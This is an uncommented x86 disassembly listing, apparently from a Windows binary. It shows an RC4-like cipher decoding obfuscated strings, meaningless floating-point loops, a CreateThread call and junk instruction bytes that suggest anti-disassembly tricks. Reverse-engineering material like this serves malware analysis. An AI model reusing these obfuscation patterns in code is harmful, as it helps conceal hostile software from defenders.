sub eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x7dc], eax
mov ecx, dword [ebp - 0x7e8]
shl ecx, 4
mov dword [ebp - 0x810], ecx
mov edx, dword [ebp - 0x7dc]
mov dword [ebp - 0x7f8], edx
mov eax, dword [ebp - 0x810]
or eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x7fc], eax
mov cl, byte [ebp - 0x7fc]
mov byte [ebp - 0x746], cl
movzx edx, byte [ebp - 0x73d]
mov al, byte [ebp + edx - 0x224]
mov byte [ebp - 0x744], al
movzx ecx, byte [ebp - 0x736]
movzx edx, byte [ebp + ecx - 0x224]
movzx eax, byte [ebp - 0x739]
add eax, edx
mov byte [ebp - 0x739], al
mov cl, byte [ebp - 0x736]
add cl, 1
mov byte [ebp - 0x736], cl
movzx edx, byte [ebp - 0x739]
movzx eax, byte [ebp - 0x73d]
mov cl, byte [ebp + edx - 0x224]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x73a]
movzx eax, byte [ebp - 0x739]
mov cl, byte [ebp + edx - 0x224]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x736]
movzx eax, byte [ebp - 0x73a]
mov cl, byte [ebp + edx - 0x224]
mov byte [ebp + eax - 0x224], cl
movzx edx, byte [ebp - 0x736]
mov al, byte [ebp - 0x744]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x744]
movzx edx, byte [ebp + ecx - 0x224]
movzx eax, byte [ebp - 0x745]
add eax, edx
mov byte [ebp - 0x745], al
movzx ecx, byte [ebp - 0x746]
movzx edx, byte [ebp - 0x739]
movzx eax, byte [ebp + edx - 0x224]
movzx edx, byte [ebp - 0x736]
movzx edx, byte [ebp + edx - 0x224]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x224]
xor ecx, eax
movzx edx, byte [ebp - 0x73a]
movzx eax, byte [ebp + edx - 0x224]
movzx edx, byte [ebp - 0x73d]
movzx edx, byte [ebp + edx - 0x224]
add eax, edx
movzx edx, byte [ebp - 0x745]
movzx edx, byte [ebp + edx - 0x224]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x224]
movzx edx, byte [ebp + eax - 0x224]
xor ecx, edx
mov byte [ebp - 0x73a], cl
mov al, byte [ebp - 0x746]
mov byte [ebp - 0x73d], al
mov cl, byte [ebp - 0x73a]
mov byte [ebp - 0x761], cl
cmp dword [ebp - 0x758], 0
jbe 0x9841be
movsx dx, byte [ebp - 0x761]
mov eax, dword [ebp - 0x758]
mov word [ebp + eax*2 - 0x1a], dx
mov ecx, dword [ebp - 0x758]
add ecx, 1
mov dword [ebp - 0x758], ecx
mov edx, dword [ebp - 0x800]
add edx, 1
mov dword [ebp - 0x800], edx
mov eax, dword [ebp - 0x758]
shl eax, 1
mov dword [ebp - 0x808], eax
mov ecx, dword [ebp - 0x81c]
add ecx, dword [ebp - 0x808]
movzx edx, byte [ecx]
mov dword [ebp - 0x7f0], edx
mov dword [ebp - 0x7f4], 0x8e
mov eax, dword [ebp - 0x758]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x80c], ecx
mov edx, dword [ebp - 0x81c]
add edx, dword [ebp - 0x80c]
movzx eax, byte [edx]
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x7d8], 0xd5
mov ecx, dword [ebp - 0x7f0]
sub ecx, dword [ebp - 0x7f4]
mov dword [ebp - 0x7e8], ecx
mov edx, dword [ebp - 0x7d4]
sub edx, dword [ebp - 0x7d8]
mov dword [ebp - 0x7dc], edx
mov eax, dword [ebp - 0x7e8]
shl eax, 4
mov dword [ebp - 0x810], eax
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp - 0x7f8], ecx
mov edx, dword [ebp - 0x810]
or edx, dword [ebp - 0x7f8]
mov dword [ebp - 0x7fc], edx
mov al, byte [ebp - 0x7fc]
mov byte [ebp - 0x746], al
movzx ecx, byte [ebp - 0x73d]
mov dl, byte [ebp + ecx - 0x224]
mov byte [ebp - 0x744], dl
movzx eax, byte [ebp - 0x736]
movzx ecx, byte [ebp + eax - 0x224]
movzx edx, byte [ebp - 0x739]
add edx, ecx
mov byte [ebp - 0x739], dl
mov al, byte [ebp - 0x736]
add al, 1
mov byte [ebp - 0x736], al
movzx ecx, byte [ebp - 0x739]
movzx edx, byte [ebp - 0x73d]
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x73a]
movzx edx, byte [ebp - 0x739]
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x736]
movzx edx, byte [ebp - 0x73a]
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edx - 0x224], al
movzx ecx, byte [ebp - 0x736]
mov dl, byte [ebp - 0x744]
mov byte [ebp + ecx - 0x224], dl
movzx eax, byte [ebp - 0x744]
movzx ecx, byte [ebp + eax - 0x224]
movzx edx, byte [ebp - 0x745]
add edx, ecx
mov byte [ebp - 0x745], dl
movzx eax, byte [ebp - 0x746]
movzx ecx, byte [ebp - 0x739]
movzx edx, byte [ebp + ecx - 0x224]
movzx ecx, byte [ebp - 0x736]
movzx ecx, byte [ebp + ecx - 0x224]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x224]
xor eax, edx
movzx ecx, byte [ebp - 0x73a]
movzx edx, byte [ebp + ecx - 0x224]
movzx ecx, byte [ebp - 0x73d]
movzx ecx, byte [ebp + ecx - 0x224]
add edx, ecx
movzx ecx, byte [ebp - 0x745]
movzx ecx, byte [ebp + ecx - 0x224]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x224]
movzx ecx, byte [ebp + edx - 0x224]
xor eax, ecx
mov byte [ebp - 0x73a], al
mov dl, byte [ebp - 0x746]
mov byte [ebp - 0x73d], dl
mov al, byte [ebp - 0x73a]
mov byte [ebp - 0x761], al
cmp dword [ebp - 0x758], 0
jbe 0x984415
movsx cx, byte [ebp - 0x761]
mov edx, dword [ebp - 0x758]
mov word [ebp + edx*2 - 0x1a], cx
mov eax, 2
shl eax, 2
mov dword [ebp - 0x97c], eax
cmp dword [ebp - 0x97c], 0xa
jae 0x98442e
jmp 0x984433
call fcn.009c2bf7
xor ecx, ecx
mov edx, dword [ebp - 0x97c]
mov word [ebp + edx - 0x18], cx
jmp 0x984493
mov dword [ebp - 0x758], 0
jmp 0x98445d
mov eax, dword [ebp - 0x758]
add eax, 1
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 5
jae 0x984493
mov ecx, dword [ebp - 0x758]
shl ecx, 1
mov dword [ebp - 0x980], ecx
cmp dword [ebp - 0x980], 0xa
jae 0x98447f
jmp 0x984484
call fcn.009c2bf7
xor edx, edx
mov eax, dword [ebp - 0x980]
mov word [ebp + eax - 0x18], dx
jmp 0x98444e
xor ecx, ecx
mov edx, dword [ebp - 0x930]
mov word [edx], cx
lea eax, [ebp - 0x18]
mov dword [ebp - 0x8cc], eax
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x984], ecx
mov edx, dword [ebp - 0x8cc]
mov ax, word [edx]
mov word [ebp - 0x942], ax
add dword [ebp - 0x8cc], 2
cmp word [ebp - 0x942], 0
jne 0x9844b3
mov ecx, dword [ebp - 0x8cc]
sub ecx, dword [ebp - 0x984]
mov edx, dword [ebp - 0x984]
mov dword [ebp - 0x9bc], edx
mov dword [ebp - 0x9b8], ecx
lea eax, [ebp - 0x52c]
add eax, 0xfffffffe
mov dword [ebp - 0x920], eax
mov ecx, dword [ebp - 0x920]
mov dx, word [ecx + 2]
mov word [ebp - 0x93a], dx
add dword [ebp - 0x920], 2
cmp word [ebp - 0x93a], 0
jne 0x984501
mov edi, dword [ebp - 0x920]
mov esi, dword [ebp - 0x9bc]
mov eax, dword [ebp - 0x9b8]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x52c]
push ecx
lea edx, [ebp - 0x734]
push edx
call fcn.009c937b
add esp, 8
push 0x400
push 0
push 0xa115a0
call fcn.009c3d60
add esp, 0xc
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x94c], eax
mov dword [ebp - 0x914], 0xa115a0
mov ecx, dword [ebp - 0x914]
mov dword [ebp - 0x9d0], ecx
mov edx, dword [ebp - 0x94c]
mov ax, word [edx]
mov word [ebp - 0x8ee], ax
mov ecx, dword [ebp - 0x914]
mov dx, word [ebp - 0x8ee]
mov word [ecx], dx
mov eax, dword [ebp - 0x94c]
add eax, 2
mov dword [ebp - 0x94c], eax
mov ecx, dword [ebp - 0x914]
add ecx, 2
mov dword [ebp - 0x914], ecx
cmp word [ebp - 0x8ee], 0
jne 0x98458f
lea edx, [ebp - 0x9d4]
push edx
push 0
push 0
push 0x987880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xorps xmm0, xmm0
movsd qword [ebp - 0x900], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8a8], xmm0
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x880], 0
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x8d0], 1
mov dword [ebp - 0x820], 0
mov dword [ebp - 0x938], 0
mov dword [ebp - 0x78c], 0
mov dword [ebp - 0x7b8], 0
mov dword [ebp - 0x7a0], 0
mov dword [ebp - 0x7a4], 0
mov dword [ebp - 0x7bc], 0
mov dword [ebp - 0x7a8], 0
mov dword [ebp - 0x7ac], 0
mov dword [ebp - 0x7b0], 0
mov dword [ebp - 0x7b4], 0
mov dword [ebp - 0x7c0], 0
mov dword [ebp - 0x7c4], 0
mov dword [ebp - 0x7c8], 0
mov dword [ebp - 0x928], 0
mov byte [ebp - 0x735], 0
mov byte [ebp - 0x737], 0
mov byte [ebp - 0x741], 0
mov byte [ebp - 0x738], 0
mov byte [ebp - 0x73b], 0
mov byte [ebp - 0x748], 0
mov byte [ebp - 0x796], 0
mov byte [ebp - 0x742], 0
mov byte [ebp - 0x740], 0
mov byte [ebp - 0x759], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x900], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8a8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x8a8], xmm0
jmp 0x984746
movsd xmm0, qword [ebp - 0x8a8]
addsd xmm0, qword [0x9e5050]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [0x9fa210]
comisd xmm0, xmmword [ebp - 0x8a8]
jbe 0x9847f7
movsd xmm0, qword [0x9fa0e0]
mulsd xmm0, qword [ebp - 0x8a8]
mulsd xmm0, qword [ebp - 0x8a8]
movsd xmm1, qword [ebp - 0x8a8]
mulsd xmm1, qword [ebp - 0x8a8]
subsd xmm0, xmm1
movsd xmm1, qword [0x9fa060]
mulsd xmm1, qword [ebp - 0x8a8]
mulsd xmm1, qword [ebp - 0x8a8]
addsd xmm1, qword [0x9f1cd8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x900]
movsd qword [ebp - 0x900], xmm0
movsd xmm0, qword [ebp - 0x900]
comisd xmm0, xmmword [0x9fa078]
jbe 0x9847f2
movsd xmm0, qword [0x9fa048]
mulsd xmm0, qword [ebp - 0x8a8]
movsd xmm1, qword [ebp - 0x900]
subsd xmm1, xmm0
movsd qword [ebp - 0x900], xmm1
jmp 0x98472e
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x900]
jbe 0x984834
and dl, byte [ebx]
adc edx, dword [eax]
sbb al, 0x1b
adc edx, dword [edx]
sbb eax, 0x371e1c1c
jp 0x98486a
and eax, 0x62757b21
cmp eax, 0x54474a58
jp 0x98487c
dec ebp
pop ecx
push esp
xor al, 0x30
dec eax
push 0x30
jp 0x98488e
pop edi
inc eax
inc eax
push edi
jmp 0x985f7a
mov dword [ebp - 0x9b4], 0x984804
mov dword [ebp - 0x9ac], 0x984810
mov eax, dword [ebp - 0x9b4]
mov dword [ebp - 0x7e0], eax
mov ecx, dword [ebp - 0x9ac]
mov dword [ebp - 0x9a8], ecx
mov byte [ebp - 0x796], 0x23
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x880], 0
mov dword [ebp - 0x750], 0
jmp 0x984896
clc
invalid
test dword [eax + 0xfffff8], esi
add byte [eax], al
add bl, ch
jnp 0x90f921
mov edx, dword [ebp - 0x750]
add edx, 1
mov dword [ebp - 0x750], edx
inc dword [ebx - 0x6a76fe3e]
mov al, 0xf8
invalid
ret 0x8901
cmp dword [ebp - 0x750], 0x100
jae 0x9848b7
mov eax, dword [ebp - 0x750]
mov cl, byte [ebp - 0x750]
mov byte [ebp + eax - 0x124], cl
jmp 0x984887
mov dword [ebp - 0x880], 0
mov byte [ebp - 0x748], 0
mov dword [ebp - 0x750], 0xff
jmp 0x9848e3
mov edx, dword [ebp - 0x750]
sub edx, 1
mov dword [ebp - 0x750], edx
cmp dword [ebp - 0x750], 0
jbe 0x984b5d
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x8d0], 1
mov dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x8d0]
cmp eax, dword [ebp - 0x750]
jae 0x98492e
mov ecx, dword [ebp - 0x8d0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x8d0], edx
jmp 0x98490e
mov eax, dword [ebp - 0x880]
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 3
ja case.default.0x98494d
mov ecx, dword [ebp - 0x988]
jmp dword [ecx*4 + 0x987858]
movzx edx, byte [ebp - 0x748]
movzx ebx, byte [ebp + edx - 0x124]
movsd xmm0, qword [ebp - 0x900]
call fcn.009c2ce0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x748], bl
jmp 0x984a36
movzx eax, byte [ebp - 0x748]
movzx ebx, byte [ebp + eax - 0x124]
movsd xmm0, qword [ebp - 0x900]
call fcn.009c2ce0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x748], bl
jmp 0x984a36
movzx ecx, byte [ebp - 0x748]
movzx ebx, byte [ebp + ecx - 0x124]
movsd xmm0, qword [ebp - 0x900]
call fcn.009c2ce0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x748], bl
jmp 0x984a36
movzx edx, byte [ebp - 0x748]
movzx ebx, byte [ebp + edx - 0x124]
movsd xmm0, qword [ebp - 0x900]
call fcn.009c2ce0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x748], bl
jmp 0x984a36
movzx eax, byte [ebp - 0x748]
movzx ecx, byte [ebp + eax - 0x124]
mov edx, dword [ebp - 0x9a8]
add edx, dword [ebp - 0x880]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x748], cl
mov ecx, dword [ebp - 0x880]
add ecx, 1
mov dword [ebp - 0x880], ecx
movzx edx, byte [ebp - 0x796]
cmp dword [ebp - 0x880], edx
jb 0x984a74
mov dword [ebp - 0x880], 0
movzx eax, byte [ebp - 0x796]
movzx ecx, byte [ebp - 0x748]
add ecx, eax
mov byte [ebp - 0x748], cl
movzx edx, byte [ebp - 0x748]
and edx, dword [ebp - 0x8d0]
mov dword [ebp - 0x820], edx
mov eax, dword [ebp - 0x92c]
add eax, 1
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0xb
jbe 0x984ab3
mov eax, dword [ebp - 0x820]
xor edx, edx
div dword [ebp - 0x750]
mov dword [ebp - 0x820], edx
mov ecx, dword [ebp - 0x820]
cmp ecx, dword [ebp - 0x750]
ja 0x98492e
mov edx, dword [ebp - 0x750]
cmp edx, dword [ebp - 0x820]
je 0x984b58
mov eax, dword [ebp - 0x820]
movzx ecx, byte [ebp + eax - 0x124]
mov edx, dword [ebp - 0x750]
movzx eax, byte [ebp + edx - 0x124]
xor eax, ecx
mov ecx, dword [ebp - 0x750]
mov byte [ebp + ecx - 0x124], al
mov edx, dword [ebp - 0x750]
movzx eax, byte [ebp + edx - 0x124]
mov ecx, dword [ebp - 0x820]
movzx edx, byte [ebp + ecx - 0x124]
xor edx, eax
mov eax, dword [ebp - 0x820]
mov byte [ebp + eax - 0x124], dl
mov ecx, dword [ebp - 0x820]
movzx edx, byte [ebp + ecx - 0x124]
mov eax, dword [ebp - 0x750]
movzx ecx, byte [ebp + eax - 0x124]
xor ecx, edx
mov edx, dword [ebp - 0x750]
mov byte [ebp + edx - 0x124], cl
jmp 0x9848d4
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp - 0x735], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp - 0x737], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp - 0x741], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp - 0x738], cl
movzx edx, byte [ebp - 0x748]
mov al, byte [ebp + edx - 0x124]
mov byte [ebp - 0x73b], al
mov dword [ebp - 0x938], 0xc
cmp dword [ebp - 0x938], 2
jle 0x985f29
mov ecx, dword [ebp - 0x938]
and ecx, 1
jne 0x985f29
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x78c], 0
mov edx, dword [ebp - 0x78c]
add edx, 1
mov dword [ebp - 0x78c], edx
mov dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x750]
shl eax, 1
mov dword [ebp - 0x7b8], eax
mov dword [ebp - 0x7a0], 0
mov ecx, dword [ebp - 0x7e0]
add ecx, dword [ebp - 0x7b8]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x7a0], edx
mov dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
add eax, 0x13
mov dword [ebp - 0x7a4], eax
mov dword [ebp - 0x7bc], 0
mov ecx, dword [ebp - 0x750]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x7bc], edx
mov dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x7bc]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x7a8], ecx
mov dword [ebp - 0x7ac], 0
mov edx, dword [ebp - 0x7ac]
add edx, 0x10
mov dword [ebp - 0x7ac], edx
mov dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7a0]
sub eax, dword [ebp - 0x7a4]
add eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7b4], 0
mov ecx, dword [ebp - 0x7a8]
sub ecx, dword [ebp - 0x7ac]
add ecx, dword [ebp - 0x7b4]
mov dword [ebp - 0x7b4], ecx
mov dword [ebp - 0x7c0], 0
mov edx, dword [ebp - 0x7b0]
shl edx, 4
mov dword [ebp - 0x7c0], edx
mov dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7c8], 0
mov ecx, dword [ebp - 0x7c0]
or ecx, dword [ebp - 0x7c4]
mov dword [ebp - 0x7c8], ecx
mov byte [ebp - 0x742], 0
mov dl, byte [ebp - 0x7c8]
mov byte [ebp - 0x742], dl
mov byte [ebp - 0x740], 0
movzx eax, byte [ebp - 0x73b]
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp - 0x740], cl
movzx edx, byte [ebp - 0x735]
movzx eax, byte [ebp + edx - 0x124]
movzx ecx, byte [ebp - 0x737]
add ecx, eax
mov byte [ebp - 0x737], cl
mov dl, byte [ebp - 0x735]
add dl, 1
mov byte [ebp - 0x735], dl
movzx eax, byte [ebp - 0x737]
movzx ecx, byte [ebp - 0x73b]
mov dl, byte [ebp + eax - 0x124]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x738]
movzx ecx, byte [ebp - 0x737]
mov dl, byte [ebp + eax - 0x124]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x735]
movzx ecx, byte [ebp - 0x738]
mov dl, byte [ebp + eax - 0x124]
mov byte [ebp + ecx - 0x124], dl
movsd xmm0, qword [0x9fa1d0]
movsd qword [ebp - 0x974], xmm0
movsd xmm0, qword [0x9fa1a0]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [0x9fa148]
movsd qword [ebp - 0x91c], xmm0
movsd xmm0, qword [0x9eabc8]
movsd qword [ebp - 0x8c8], xmm0
movsd xmm0, qword [ebp - 0x91c]
mulsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x91c], xmm0
movsd xmm0, qword [ebp - 0x8b0]
subsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x91c]
mulsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x91c], xmm0
movsd xmm0, qword [ebp - 0x8c8]
comisd xmm0, xmmword [ebp - 0x91c]
jbe 0x984f0e
movsd xmm0, qword [ebp - 0x8c8]
divsd xmm0, qword [ebp - 0x8b0]
movsd qword [ebp - 0x8c8], xmm0
movsd xmm0, qword [ebp - 0x91c]
subsd xmm0, qword [ebp - 0x974]
movsd qword [ebp - 0x91c], xmm0
movsd xmm0, qword [ebp - 0x8b0]
subsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x974]
mulsd xmm0, qword [ebp - 0x91c]
movsd qword [ebp - 0x974], xmm0
jmp 0x984f82
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x8b0], xmm0
movzx eax, byte [ebp - 0x735]
mov cl, byte [ebp - 0x740]
mov byte [ebp + eax - 0x124], cl
movsd xmm0, qword [ebp - 0x8b0]
mulsd xmm0, qword [ebp - 0x8c8]
movsd qword [ebp - 0x8b0], xmm0
movsd xmm0, qword [ebp - 0x8c8]
mulsd xmm0, qword [ebp - 0x8b0]
movsd qword [ebp - 0x8c8], xmm0
movsd xmm0, qword [ebp - 0x974]
subsd xmm0, qword [ebp - 0x91c]
movsd qword [ebp - 0x974], xmm0
movzx edx, byte [ebp - 0x740]
movzx eax, byte [ebp + edx - 0x124]
movzx ecx, byte [ebp - 0x741]
add ecx, eax
mov byte [ebp - 0x741], cl
movzx edx, byte [ebp - 0x742]
movzx eax, byte [ebp - 0x737]
movzx ecx, byte [ebp + eax - 0x124]
movzx eax, byte [ebp - 0x735]
movzx eax, byte [ebp + eax - 0x124]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x124]
xor edx, ecx
movzx eax, byte [ebp - 0x738]
movzx ecx, byte [ebp + eax - 0x124]
movzx eax, byte [ebp - 0x73b]
movzx eax, byte [ebp + eax - 0x124]
add ecx, eax
movzx eax, byte [ebp - 0x741]
movzx eax, byte [ebp + eax - 0x124]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x124]
movzx eax, byte [ebp + ecx - 0x124]
xor edx, eax
mov byte [ebp - 0x738], dl
mov cl, byte [ebp - 0x742]
mov byte [ebp - 0x73b], cl
mov dl, byte [ebp - 0x738]
mov byte [ebp - 0x759], dl
cmp dword [ebp - 0x750], 0
jbe 0x98505a
movsx ax, byte [ebp - 0x759]
mov ecx, dword [ebp - 0x750]
mov word [ebp + ecx*2 - 0x26], ax
mov edx, dword [ebp - 0x750]
add edx, 1
mov dword [ebp - 0x750], edx
mov eax, dword [ebp - 0x78c]
add eax, 1
mov dword [ebp - 0x78c], eax
mov ecx, dword [ebp - 0x750]
shl ecx, 1
mov dword [ebp - 0x7b8], ecx
mov edx, dword [ebp - 0x7e0]
add edx, dword [ebp - 0x7b8]
movzx eax, byte [edx]
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x7a4], 0x13
mov ecx, dword [ebp - 0x750]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x7bc], edx
mov eax, dword [ebp - 0x7e0]
add eax, dword [ebp - 0x7bc]
movzx ecx, byte [eax]
mov dword [ebp - 0x7a8], ecx
mov dword [ebp - 0x7ac], 0x10
mov edx, dword [ebp - 0x7a0]
sub edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x7b0], edx
mov eax, dword [ebp - 0x7a8]
sub eax, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b4], eax
mov ecx, dword [ebp - 0x7b0]
shl ecx, 4
mov dword [ebp - 0x7c0], ecx
mov edx, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c4], edx
mov eax, dword [ebp - 0x7c0]
or eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x7c8], eax
mov cl, byte [ebp - 0x7c8]
mov byte [ebp - 0x742], cl
movzx edx, byte [ebp - 0x73b]
mov al, byte [ebp + edx - 0x124]
mov byte [ebp - 0x740], al
movzx ecx, byte [ebp - 0x735]
movzx edx, byte [ebp + ecx - 0x124]
movzx eax, byte [ebp - 0x737]
add eax, edx
mov byte [ebp - 0x737], al
mov cl, byte [ebp - 0x735]
add cl, 1
mov byte [ebp - 0x735], cl
movzx edx, byte [ebp - 0x737]
movzx eax, byte [ebp - 0x73b]
mov cl, byte [ebp + edx - 0x124]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x738]
movzx eax, byte [ebp - 0x737]
mov cl, byte [ebp + edx - 0x124]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x735]
movzx eax, byte [ebp - 0x738]
mov cl, byte [ebp + edx - 0x124]
mov byte [ebp + eax - 0x124], cl
movzx edx, byte [ebp - 0x735]
mov al, byte [ebp - 0x740]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x740]
movzx edx, byte [ebp + ecx - 0x124]
movzx eax, byte [ebp - 0x741]
add eax, edx
mov byte [ebp - 0x741], al
movzx ecx, byte [ebp - 0x742]
movzx edx, byte [ebp - 0x737]
movzx eax, byte [ebp + edx - 0x124]
movzx edx, byte [ebp - 0x735]
movzx edx, byte [ebp + edx - 0x124]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x124]
xor ecx, eax
movzx edx, byte [ebp - 0x738]
movzx eax, byte [ebp + edx - 0x124]
movzx edx, byte [ebp - 0x73b]
movzx edx, byte [ebp + edx - 0x124]
add eax, edx
movzx edx, byte [ebp - 0x741]
movzx edx, byte [ebp + edx - 0x124]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x124]
movzx edx, byte [ebp + eax - 0x124]
xor ecx, edx
mov byte [ebp - 0x738], cl
mov al, byte [ebp - 0x742]
mov byte [ebp - 0x73b], al
mov cl, byte [ebp - 0x738]
mov byte [ebp - 0x759], cl
cmp dword [ebp - 0x750], 0
jbe 0x9852b0
movsx dx, byte [ebp - 0x759]
mov eax, dword [ebp - 0x750]
mov word [ebp + eax*2 - 0x26], dx
mov ecx, dword [ebp - 0x78c]
add ecx, 1
mov dword [ebp - 0x78c], ecx
mov edx, dword [ebp - 0x750]
add edx, 1
mov dword [ebp - 0x928], edx
jmp 0x9852df
mov eax, dword [ebp - 0x928]
add eax, 1
mov dword [ebp - 0x928], eax
mov ecx, dword [ebp - 0x928]
cmp ecx, dword [ebp - 0x78c]
jge 0x98553e
mov edx, dword [ebp - 0x750]
add edx, 1
mov dword [ebp - 0x750], edx
mov eax, dword [ebp - 0x750]
shl eax, 1
mov dword [ebp - 0x7b8], eax
mov ecx, dword [ebp - 0x7e0]
add ecx, dword [ebp - 0x7b8]
movzx edx, byte [ecx]
mov dword [ebp - 0x7a0], edx
mov dword [ebp - 0x7a4], 0x13
mov eax, dword [ebp - 0x750]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x7bc], ecx
mov edx, dword [ebp - 0x7e0]
add edx, dword [ebp - 0x7bc]
movzx eax, byte [edx]
mov dword [ebp - 0x7a8], eax
mov dword [ebp - 0x7ac], 0x10
mov ecx, dword [ebp - 0x7a0]
sub ecx, dword [ebp - 0x7a4]
mov dword [ebp - 0x7b0], ecx
mov edx, dword [ebp - 0x7a8]
sub edx, dword [ebp - 0x7ac]
mov dword [ebp - 0x7b4], edx
mov eax, dword [ebp - 0x7b0]
shl eax, 4
mov dword [ebp - 0x7c0], eax
mov ecx, dword [ebp - 0x7b4]
mov dword [ebp - 0x7c4], ecx
mov edx, dword [ebp - 0x7c0]
or edx, dword [ebp - 0x7c4]
mov dword [ebp - 0x7c8], edx
mov al, byte [ebp - 0x7c8]
mov byte [ebp - 0x742], al
movzx ecx, byte [ebp - 0x73b]
mov dl, byte [ebp + ecx - 0x124]
mov byte [ebp - 0x740], dl
movzx eax, byte [ebp - 0x735]
movzx ecx, byte [ebp + eax - 0x124]
movzx edx, byte [ebp - 0x737]
add edx, ecx
mov byte [ebp - 0x737], dl
mov al, byte [ebp - 0x735]
add al, 1
mov byte [ebp - 0x735], al
movzx ecx, byte [ebp - 0x737]
movzx edx, byte [ebp - 0x73b]
mov al, byte [ebp + ecx - 0x124]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x738]
movzx edx, byte [ebp - 0x737]
mov al, byte [ebp + ecx - 0x124]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x735]
movzx edx, byte [ebp - 0x738]
mov al, byte [ebp + ecx - 0x124]
mov byte [ebp + edx - 0x124], al
movzx ecx, byte [ebp - 0x735]
mov dl, byte [ebp - 0x740]
mov byte [ebp + ecx - 0x124], dl
movzx eax, byte [ebp - 0x740]
movzx ecx, byte [ebp + eax - 0x124]
